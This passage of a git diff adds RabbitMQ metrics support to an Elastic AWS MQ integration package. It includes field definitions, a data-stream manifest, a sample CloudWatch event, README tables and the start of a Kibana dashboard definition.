+ metric_type: gauge
+ type: long
+ description: The total number of unacknowledged messages in the queues.
+ - name: PublishRate.max
+ metric_type: gauge
+ type: long
+ description: The rate at which messages are published to the broker.
+ - name: ConfirmRate.max
+ metric_type: gauge
+ type: long
+ description: The rate at which the RabbitMQ server is confirming published messages.
+ - name: AckRate.max
+ metric_type: gauge
+ type: long
+ description: The rate at which messages are being acknowledged by consumers.
+ - name: SystemCpuUtilization.max
+ metric_type: gauge
+ type: long
+ unit: percent
+ description: The percentage of allocated Amazon EC2 compute units that the broker currently uses. For cluster deployments, this value represents the aggregate of all three RabbitMQ nodes' corresponding metric values.
+ - name: RabbitMQMemLimit.max
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: The RAM limit for a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values.
+ - name: RabbitMQMemUsed.max
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: The volume of RAM used by a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values.
+ - name: RabbitMQDiskFreeLimit.max
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: The disk limit for a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values.
+ - name: RabbitMQDiskFree.min
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: The total volume of free disk space available in a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values.
+ - name: RabbitMQFdUsed.max
+ metric_type: gauge
+ type: long
+ description: The number of file descriptors used. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values.
+ - name: RabbitMQIOReadAverageTime.max
+ metric_type: gauge
+ type: long
+ unit: ms
+ description: The average time for RabbitMQ to perform one read operation.
+ - name: RabbitMQIOWriteAverageTime.max
+ metric_type: gauge
+ type: long
+ unit: ms
+ description: The average time for RabbitMQ to perform one write operation.
+ - name: node
+ type: group
+ fields:
+ - name: SystemCpuUtilization.max
+ metric_type: gauge
+ type: long
+ unit: percent
+ description: The percentage of allocated Amazon EC2 compute units that the broker currently uses.
+ - name: RabbitMQMemLimit.max
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: The RAM limit for a RabbitMQ node.
+ - name: RabbitMQMemUsed.max
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: The volume of RAM used by a RabbitMQ node.
+ - name: RabbitMQDiskFreeLimit.max
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: The disk limit for a RabbitMQ node.
+ - name: RabbitMQDiskFree.min
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: The total volume of free disk space available in a RabbitMQ node.
+ - name: RabbitMQFdUsed.max
+ metric_type: gauge
+ type: long
+ unit: byte
+ description: Number of file descriptors used.
+ - name: RabbitMQIOReadAverageTime.max
+ metric_type: gauge
+ type: long
+ unit: ms
+ description: The average time for RabbitMQ to perform one read operation.
+ - name: RabbitMQIOWriteAverageTime.max
+ metric_type: gauge
+ type: long
+ unit: ms
+ description: The average time for RabbitMQ to perform one write operation.
+ - name: queue
+ type: group
+ fields:
+ - name: ConsumerCount.max
+ metric_type: gauge
+ type: long
+ description: The number of consumers subscribed to the queue.
+ - name: MessageReadyCount.max
+ metric_type: gauge
+ type: long
+ description: The number of messages that are currently available to be delivered.
+ - name: MessageUnacknowledgedCount.max
+ metric_type: gauge
+ type: long
+ description: The number of messages for which the server is awaiting acknowledgement.
+ - name: MessageCount.max
+ metric_type: gauge
+ type: long
+ description: The total number of MessageReadyCount and MessageUnacknowledgedCount, referred to as queue depth.
diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/manifest.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/manifest.yml
new file mode 100644
index 00000000000..d689619446d
--- /dev/null
+++ b/packages/aws_mq/data_stream/rabbitmq_metrics/manifest.yml
@@ -0,0 +1,67 @@
+title: "RabbitMQ Metrics"
+type: metrics
+streams:
+ - input: aws/metrics
+ title: RabbitMQ metrics
+ description: Collect RabbitMQ metrics
+ vars:
+ - name: period
+ type: text
+ title: Collection Period
+ multi: false
+ required: true
+ show_user: true
+ default: 5m
+ - name: data_granularity
+ type: text
+ title: Data Granularity
+ multi: false
+ required: false
+ show_user: false
+ - name: regions
+ type: text
+ title: Regions
+ multi: true
+ required: false
+ show_user: true
+ - name: latency
+ type: text
+ title: Latency
+ multi: false
+ required: false
+ show_user: false
+ description: The 'latency' parameter adjusts the Metricbeat collection start and end times. AWS CloudWatch might experience delay in processing metrics for some services causing data points to be missed during the integration collection period. To mitigate this potential issue, specify a latency parameter such as `15m`.
+ - name: tags_filter
+ type: yaml
+ title: Tags Filter
+ multi: false
+ required: false
+ show_user: false
+ default: |
+ # - key: "created-by"
+ # value: "foo"
+ - name: include_linked_accounts
+ type: bool
+ title: Include Linked Accounts
+ multi: false
+ required: false
+ show_user: false
+ default: true
+ description: When include_linked_accounts is set to true, CloudWatch metrics will be collected from both linked accounts and the monitoring account. Default is true.
+ - name: owning_account
+ type: integer
+ title: Owning Account
+ multi: false
+ required: false
+ show_user: false
+ description: Accepts an AWS account ID linked to the monitoring account. Works only if include_linked_accounts is set to true. If set, monitoring data will only include data from the given account.
+ - name: processors
+ type: yaml
+ title: Processors
+ multi: false
+ required: false
+ show_user: false
+ description: >
+ Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the events are shipped. See [Processors](https://www.elastic.co/guide/en/fleet/current/elastic-agent-processor-configuration.html) for details.
+elasticsearch:
+ index_mode: time_series
diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/sample_event.json b/packages/aws_mq/data_stream/rabbitmq_metrics/sample_event.json
new file mode 100644
index 00000000000..c438b0329a7
--- /dev/null
+++ b/packages/aws_mq/data_stream/rabbitmq_metrics/sample_event.json
@@ -0,0 +1,97 @@
+{
+ "@timestamp": "2025-02-28T10:05:00.000Z",
+ "agent": {
+ "ephemeral_id": "fc4c4367-978d-456e-8738-d7cae2319a83",
+ "id": "151607dd-a8d5-462b-995f-752c336930d8",
+ "name": "elastic-agent-97629",
+ "type": "metricbeat",
+ "version": "8.16.2"
+ },
+ "aws": {
+ "amazonmq": {
+ "metrics": {
+ "rabbitmq": {
+ "queue": {
+ "ConsumerCount": {
+ "max": 0
+ },
+ "MessageCount": {
+ "max": 0
+ },
+ "MessageReadyCount": {
+ "max": 0
+ },
+ "MessageUnacknowledgedCount": {
+ "max": 0
+ }
+ }
+ }
+ }
+ },
+ "cloudwatch": {
+ "namespace": "AWS/AmazonMQ"
+ },
+ "dimensions": {
+ "Broker": "ObsIntegrations-RabbitMQ",
+ "Queue": "obs-infra queue",
+ "VirtualHost": "/"
+ }
+ },
+ "cloud": {
+ "account": {
+ "id": "11111111111",
+ "name": "MonitoringAccount"
+ },
+ "provider": "aws",
+ "region": "ap-south-1"
+ },
+ "data_stream": {
+ "dataset": "aws_mq.rabbitmq_metrics",
+ "namespace": "16654",
+ "type": "metrics"
+ },
+ "ecs": {
+ "version": "8.0.0"
+ },
+ "elastic_agent": {
+ "id": "151607dd-a8d5-462b-995f-752c336930d8",
+ "snapshot": false,
+ "version": "8.16.2"
+ },
+ "event": {
+ "agent_id_status": "verified",
+ "dataset": "aws_mq.rabbitmq_metrics",
+ "duration": 117138104,
+ "ingested": "2025-02-28T10:10:52Z",
+ "module": "aws"
+ },
+ "host": {
+ "architecture": "x86_64",
+ "containerized": true,
+ "hostname": "elastic-agent-97629",
+ "ip": [
+ "192.168.192.2",
+ "192.168.0.4"
+ ],
+ "mac": [
+ "02-42-C0-A8-00-04",
+ "02-42-C0-A8-C0-02"
+ ],
+ "name": "elastic-agent-97629",
+ "os": {
+ "family": "",
+ "kernel": "5.4.0-1106-gcp",
+ "name": "Wolfi",
+ "platform": "wolfi",
+ "type": "linux",
+ "version": "20230201"
+ }
+ },
+ "metricset": {
+ "name": "cloudwatch",
+ "period": 300000
+ },
+ "service": {
+ "type": "aws"
+ }
+}
diff --git a/packages/aws_mq/docs/README.md b/packages/aws_mq/docs/README.md
index 0ff23b3fab0..76abd3d2815 100644
--- a/packages/aws_mq/docs/README.md
+++ b/packages/aws_mq/docs/README.md
@@ -11,15 +11,16 @@ The Amazon MQ integration allows you to efficiently collect and monitor broker p
## Compatibility
-This integration presently supports Amazon MQ for [Apache ActiveMQ](http://activemq.apache.org/) metrics.
+This integration presently supports Amazon MQ for [Apache ActiveMQ](http://activemq.apache.org/) and [RabbitMQ](https://www.rabbitmq.com/) metrics.
## Data streams
-The Amazon MQ integration collects Apache ActiveMQ metrics.
+The Amazon MQ integration collects Apache ActiveMQ and RabbitMQ metrics.
Data streams:
- `activemq_metrics`: Collects broker metrics and destination (queue and topic) metrics.
+ - `rabbitmq_metrics`: Collects broker, queue and node metrics.
## Requirements
@@ -48,9 +49,9 @@ documentation](https://docs.elastic.co/integrations/aws#requirements).
## Metrics
-### ActiveMQ Metrics
+### ActiveMQ metrics
-Amazon MQ provides a range of broker and queue metrics that help monitor system performance, resource utilization, and message flow. These metrics can be used for various use cases, including:
+Amazon MQ for ActiveMQ provides a range of broker and queue metrics that help monitor system performance, resource utilization, and message flow. These metrics can be used for various use cases, including:
- Tracking broker resource utilization, such as compute, memory, and storage.
- Monitoring message throughput and queue performance.
@@ -281,3 +282,163 @@ An example event for `activemq` looks as following:
| data_stream.namespace | Data stream namespace. | constant_keyword | | |
| data_stream.type | Data stream type. | constant_keyword | | |
| event.module | Name of the module this data is coming from. If your monitoring agent supports the concept of modules or plugins to process events of a given source (e.g. Apache logs), `event.module` should contain the name of this module. | constant_keyword | | |
+
+
+
+### RabbitMQ metrics
+
+Amazon MQ for RabbitMQ offers a variety of broker and queue metrics to monitor system performance, resource utilization, and message flow. These metrics are essential for:
+
+- Assessing broker resource usage, including CPU, memory, and storage.
+- Tracking message rates and queue depths to ensure efficient message processing.
+- Analyzing connection counts and consumer activity to optimize messaging workloads.
+
+An example event for `rabbitmq` looks as following:
+
+```json
+{
+ "@timestamp": "2025-02-28T10:05:00.000Z",
+ "agent": {
+ "ephemeral_id": "fc4c4367-978d-456e-8738-d7cae2319a83",
+ "id": "151607dd-a8d5-462b-995f-752c336930d8",
+ "name": "elastic-agent-97629",
+ "type": "metricbeat",
+ "version": "8.16.2"
+ },
+ "aws": {
+ "amazonmq": {
+ "metrics": {
+ "rabbitmq": {
+ "queue": {
+ "ConsumerCount": {
+ "max": 0
+ },
+ "MessageCount": {
+ "max": 0
+ },
+ "MessageReadyCount": {
+ "max": 0
+ },
+ "MessageUnacknowledgedCount": {
+ "max": 0
+ }
+ }
+ }
+ }
+ },
+ "cloudwatch": {
+ "namespace": "AWS/AmazonMQ"
+ },
+ "dimensions": {
+ "Broker": "ObsIntegrations-RabbitMQ",
+ "Queue": "obs-infra queue",
+ "VirtualHost": "/"
+ }
+ },
+ "cloud": {
+ "account": {
+ "id": "11111111111",
+ "name": "MonitoringAccount"
+ },
+ "provider": "aws",
+ "region": "ap-south-1"
+ },
+ "data_stream": {
+ "dataset": "aws_mq.rabbitmq_metrics",
+ "namespace": "16654",
+ "type": "metrics"
+ },
+ "ecs": {
+ "version": "8.0.0"
+ },
+ "elastic_agent": {
+ "id": "151607dd-a8d5-462b-995f-752c336930d8",
+ "snapshot": false,
+ "version": "8.16.2"
+ },
+ "event": {
+ "agent_id_status": "verified",
+ "dataset": "aws_mq.rabbitmq_metrics",
+ "duration": 117138104,
+ "ingested": "2025-02-28T10:10:52Z",
+ "module": "aws"
+ },
+ "host": {
+ "architecture": "x86_64",
+ "containerized": true,
+ "hostname": "elastic-agent-97629",
+ "ip": [
+ "192.168.192.2",
+ "192.168.0.4"
+ ],
+ "mac": [
+ "02-42-C0-A8-00-04",
+ "02-42-C0-A8-C0-02"
+ ],
+ "name": "elastic-agent-97629",
+ "os": {
+ "family": "",
+ "kernel": "5.4.0-1106-gcp",
+ "name": "Wolfi",
+ "platform": "wolfi",
+ "type": "linux",
+ "version": "20230201"
+ }
+ },
+ "metricset": {
+ "name": "cloudwatch",
+ "period": 300000
+ },
+ "service": {
+ "type": "aws"
+ }
+}
+```
+**Exported fields**
+
+| Field | Description | Type | Unit | Metric Type |
+|---|---|---|---|---|
+| @timestamp | Event timestamp. | date | | |
+| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword | | |
+| aws.amazonmq.metrics.rabbitmq.broker.AckRate.max | The rate at which messages are being acknowledged by consumers. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.ChannelCount.max | The total number of channels established on the broker. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.ConfirmRate.max | The rate at which the RabbitMQ server is confirming published messages. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.ConnectionCount.max | The total number of connections established on the broker. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.ConsumerCount.max | The total number of consumers connected to the broker. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.ExchangeCount.max | The total number of exchanges configured on the broker. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.MessageCount.max | The total number of messages in the queues. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.MessageReadyCount.max | The total number of ready messages in the queues. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.MessageUnacknowledgedCount.max | The total number of unacknowledged messages in the queues. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.PublishRate.max | The rate at which messages are published to the broker. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.QueueCount.max | The total number of queues configured on the broker. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQDiskFree.min | The total volume of free disk space available in a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQDiskFreeLimit.max | The disk limit for a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQFdUsed.max | The number of file descriptors used. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQIOReadAverageTime.max | The average time for RabbitMQ to perform one read operation. | long | ms | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQIOWriteAverageTime.max | The average time for RabbitMQ to perform one write operation. | long | ms | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQMemLimit.max | The RAM limit for a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQMemUsed.max | The volume of RAM used by a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.broker.SystemCpuUtilization.max | The percentage of allocated Amazon EC2 compute units that the broker currently uses. For cluster deployments, this value represents the aggregate of all three RabbitMQ nodes' corresponding metric values. | long | percent | gauge |
+| aws.amazonmq.metrics.rabbitmq.node.RabbitMQDiskFree.min | The total volume of free disk space available in a RabbitMQ node. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.node.RabbitMQDiskFreeLimit.max | The disk limit for a RabbitMQ node. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.node.RabbitMQFdUsed.max | Number of file descriptors used. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.node.RabbitMQIOReadAverageTime.max | The average time for RabbitMQ to perform one read operation. | long | ms | gauge |
+| aws.amazonmq.metrics.rabbitmq.node.RabbitMQIOWriteAverageTime.max | The average time for RabbitMQ to perform one write operation. | long | ms | gauge |
+| aws.amazonmq.metrics.rabbitmq.node.RabbitMQMemLimit.max | The RAM limit for a RabbitMQ node. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.node.RabbitMQMemUsed.max | The volume of RAM used by a RabbitMQ node. | long | byte | gauge |
+| aws.amazonmq.metrics.rabbitmq.node.SystemCpuUtilization.max | The percentage of allocated Amazon EC2 compute units that the broker currently uses. | long | percent | gauge |
+| aws.amazonmq.metrics.rabbitmq.queue.ConsumerCount.max | The number of consumers subscribed to the queue. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.queue.MessageCount.max | The total number of MessageReadyCount and MessageUnacknowledgedCount, referred to as queue depth. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.queue.MessageReadyCount.max | The number of messages that are currently available to be delivered. | long | | gauge |
+| aws.amazonmq.metrics.rabbitmq.queue.MessageUnacknowledgedCount.max | The number of messages for which the server is awaiting acknowledgement. | long | | gauge |
+| aws.cloudwatch.namespace | The namespace specified when query cloudwatch api. | keyword | | |
+| aws.dimensions.Broker | The name of the broker. | keyword | | |
+| aws.dimensions.Node | The name of the node. | keyword | | |
+| aws.dimensions.Queue | The name of the queue. | keyword | | |
+| aws.dimensions.VirtualHost | The name of the virtual host. | keyword | | |
+| cloud.account.id | The cloud account or organization id used to identify different entities in a multi-tenant environment. Examples: AWS account id, Google Cloud ORG Id, or other unique identifier. | keyword | | |
+| cloud.region | Region in which this host, resource, or service is located. | keyword | | |
+| data_stream.dataset | Data stream dataset. | constant_keyword | | |
+| data_stream.namespace | Data stream namespace. | constant_keyword | | |
+| data_stream.type | Data stream type. | constant_keyword | | |
+| event.module | Name of the module this data is coming from. If your monitoring agent supports the concept of modules or plugins to process events of a given source (e.g. Apache logs), `event.module` should contain the name of this module. | constant_keyword | | |
diff --git a/packages/aws_mq/img/amazom-mq-config-screenshot.png b/packages/aws_mq/img/amazom-mq-config-screenshot.png
deleted file mode 100644
index ae0d2792b5f..00000000000
Binary files a/packages/aws_mq/img/amazom-mq-config-screenshot.png and /dev/null differ
diff --git a/packages/aws_mq/img/amazonmq-activemq-dashboard.png b/packages/aws_mq/img/amazonmq-activemq-dashboard.png
new file mode 100644
index 00000000000..7ee6a43c025
Binary files /dev/null and b/packages/aws_mq/img/amazonmq-activemq-dashboard.png differ
diff --git a/packages/aws_mq/kibana/dashboard/aws_mq-787931c1-b9eb-4c6d-9993-e9014e135071.json b/packages/aws_mq/kibana/dashboard/aws_mq-787931c1-b9eb-4c6d-9993-e9014e135071.json
new file mode 100644
index 00000000000..ba8c6618874
--- /dev/null
+++ b/packages/aws_mq/kibana/dashboard/aws_mq-787931c1-b9eb-4c6d-9993-e9014e135071.json
@@ -0,0 +1,4297 @@
+{
+ "attributes": {
+ "controlGroupInput": {
+ "chainingSystem": "HIERARCHICAL",
+ "controlStyle": "oneLine",
+ "ignoreParentSettingsJSON": {
+ "ignoreFilters": false,
+ "ignoreQuery": false,
+ "ignoreTimerange": false,
+ "ignoreValidations": false
+ },
+ "panelsJSON": {
+ "23566730-88c9-4ade-bcb0-90328e9c6fdf": {
+ "explicitInput": {
+ "dataViewId": "metrics-*",
+ "exclude": null,
+ "existsSelected": null,
+ "fieldName": "aws.dimensions.Queue",
+ "hideActionBar": null,
+ "hideExclude": null,
+ "hideExists": null,
+ "hideSort": null,
+ "id": "23566730-88c9-4ade-bcb0-90328e9c6fdf",
+ "placeholder": null,
+ "runPastTimeout": null,
+ "searchTechnique": "prefix",
+ "selectedOptions": [],
+ "singleSelect": null,
+ "sort": {
+ "by": "_count",
+ "direction": "desc"
+ },
+ "title": "Queue name"
+ },
+ "grow": false,
+ "order": 3,
+ "type": "optionsListControl",
+ "width": "medium"
+ },
+ "5c9fc0ab-11a1-4240-8270-b62238f12624": {
+ "explicitInput": {
+ "dataViewId": "metrics-*",
+ "exclude": null,
+ "existsSelected": false,
+ "fieldName": "aws.dimensions.Broker",
+ "hideActionBar": null,
+ "hideExclude": null,
+ "hideExists": null,
+ "hideSort": null,
+ "id": "5c9fc0ab-11a1-4240-8270-b62238f12624",
+ "placeholder": null,
+ "runPastTimeout": null,
+ "searchTechnique": "prefix",
+ "selectedOptions": [
+ "ObsIntegrations-ActiveMQ-1"
+ ],
+ "singleSelect": null,
+ "sort": {
+ "by": "_count",
+ "direction": "desc"
+ },
+ "title": "Broker name"
+ },
+ "grow": false,
+ "order": 2,
+ "type": "optionsListControl",
+ "width": "medium"
+ },
+ "5e26381c-be65-4c74-babc-1f9cc2102a75": {
+ "explicitInput": {
+ "dataViewId": "metrics-*",
+ "exclude": null,
+ "existsSelected": null,
+ "fieldName": "aws.dimensions.Topic",
+ "hideActionBar": null,
+ "hideExclude": null,
+ "hideExists": null,
+ "hideSort": null,
+ "id": "5e26381c-be65-4c74-babc-1f9cc2102a75",
+ "placeholder": null,
+ "runPastTimeout": null,
+ "searchTechnique": "prefix",
+ "selectedOptions": [],
+ "singleSelect": null,
+ "sort": {
+ "by": "_count",
+ "direction": "desc"
+ },
+ "title": "Topic name"
+ },
+ "grow": false,
+ "order": 4,
+ "type": "optionsListControl",
+ "width": "medium"
+ },
+ "a76377d2-071c-4db0-8556-c0f005664ca4": {
+ "explicitInput": {
+ "dataViewId": "metrics-*",
+ "exclude": null,
+ "existsSelected": null,
+ "fieldName": "cloud.account.name",
+ "hideActionBar": null,
+ "hideExclude": null,
+ "hideExists": null,
+ "hideSort": null,
+ "id": "a76377d2-071c-4db0-8556-c0f005664ca4",
+ "placeholder": null,
+ "runPastTimeout": null,
+ "searchTechnique": "prefix",
+ "selectedOptions": [],
+ "singleSelect": null,
+ "sort": {
+ "by": "_count",
+ "direction": "desc"
+ },
+ "title": "AWS account name"
+ },
+ "grow": false,
+ "order": 0,
+ "type": "optionsListControl",
+ "width": "medium"
+ },
+ "b37d4456-a0e3-42e4-8bf2-12de33e003b3": {
+ "explicitInput": {
+ "dataViewId": "metrics-*",
+ "exclude": null,
+ "existsSelected": null,
+ "fieldName": "cloud.region",
+ "hideActionBar": null,
+ "hideExclude": null,
+ "hideExists": null,
+ "hideSort": null,
+ "id": "b37d4456-a0e3-42e4-8bf2-12de33e003b3",
+ "placeholder": null,
+ "runPastTimeout": null,
+ "searchTechnique": "prefix",
+ "selectedOptions": [],
+ "singleSelect": null,
+ "sort": {
+ "by": "_count",
+ "direction": "desc"
+ },
+ "title": "AWS region"
+ },
+ "grow": false,
+ "order": 1,
+ "type": "optionsListControl",
+ "width": "medium"
+ }
+ },
+ "showApplySelections": false
+ },
+ "description": "Overview dashboard for ActiveMQ managed by AmazonMQ.",
+ "kibanaSavedObjectMeta": {
+ "searchSourceJSON": {
+ "filter": [
+ {
+ "$state": {
+ "store": "appState"
+ },
+ "meta": {
+ "alias": "Dataset filter",
+ "disabled": false,
+ "field": "data_stream.dataset",
+ "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+ "key": "data_stream.dataset",
+ "negate": false,
+ "params": {
+ "query": "aws_mq.activemq_metrics"
+ },
+ "type": "phrase"
+ },
+ "query": {
+ "match_phrase": {
+ "data_stream.dataset": "aws_mq.activemq_metrics"
+ }
+ }
+ }
+ ],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ }
+ }
+ },
+ "optionsJSON": {
+ "hidePanelTitles": false,
+ "syncColors": false,
+ "syncCursor": true,
+ "syncTooltips": false,
+ "useMargins": true
+ },
+ "panelsJSON": [
+ {
+ "embeddableConfig": {
+ "enhancements": {
+ "dynamicActions": {
+ "events": []
+ }
+ },
+ "hidePanelTitles": true,
+ "savedVis": {
+ "data": {
+ "aggs": [],
+ "searchSource": {
+ "filter": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ }
+ }
+ },
+ "description": "",
+ "params": {
+ "fontSize": 12,
+ "markdown": "# ActiveMQ\n\nThis dashboard offers insights into key details related to ActiveMQ in AmazonMQ including\n\n- Broker CPU and disk utilization\n- Broker network and EBS volume utilization\n- Enqueue, dequeue, producer, consumer metrics related to queues\n- Enqueue, dequeue, producer, consumer metrics related to topics",
+ "openLinksInNewTab": false
+ },
+ "title": "",
+ "type": "markdown",
+ "uiState": {}
+ }
+ },
+ "gridData": {
+ "h": 14,
+ "i": "2c0e0f2d-3ade-4259-8fa9-552988a3f3c1",
+ "w": 16,
+ "x": 0,
+ "y": 0
+ },
+ "panelIndex": "2c0e0f2d-3ade-4259-8fa9-552988a3f3c1",
+ "title": "",
+ "type": "visualization"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Average CPU utilization",
+ "operationType": "formula",
+ "params": {
+ "format": {
+ "id": "percent",
+ "params": {
+ "compact": false,
+ "decimals": 2
+ }
+ },
+ "formula": "average(aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg)/100",
+ "isFormulaBroken": false
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "scale": "ratio"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of CPU utilization",
+ "operationType": "average",
+ "params": {
+ "emptyAsNull": false
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of CPU utilization",
+ "operationType": "math",
+ "params": {
+ "tinymathAst": {
+ "args": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ 100
+ ],
+ "location": {
+ "max": 68,
+ "min": 0
+ },
+ "name": "divide",
+ "text": "average(aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg)/100",
+ "type": "function"
+ }
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0"
+ ],
+ "scale": "ratio"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "color": "#B9A888",
+ "icon": "empty",
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "metricAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsMetric"
+ },
+ "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.",
+ "enhancements": {},
+ "hidePanelTitles": true
+ },
+ "gridData": {
+ "h": 7,
+ "i": "dbc2f529-a9f9-4d72-8052-a00f1be83ca8",
+ "w": 8,
+ "x": 16,
+ "y": 0
+ },
+ "panelIndex": "dbc2f529-a9f9-4d72-8052-a00f1be83ca8",
+ "title": "",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Average heap (JVM) memory utilization",
+ "operationType": "formula",
+ "params": {
+ "format": {
+ "id": "percent",
+ "params": {
+ "decimals": 2
+ }
+ },
+ "formula": "average(aws.amazonmq.metrics.activemq.broker.HeapUsage.avg)/100",
+ "isFormulaBroken": false
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "scale": "ratio"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Average Heap (JVM) memory utilization",
+ "operationType": "average",
+ "params": {
+ "emptyAsNull": false
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.HeapUsage.avg"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Average Heap (JVM) memory utilization",
+ "operationType": "math",
+ "params": {
+ "tinymathAst": {
+ "args": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ 100
+ ],
+ "location": {
+ "max": 63,
+ "min": 0
+ },
+ "name": "divide",
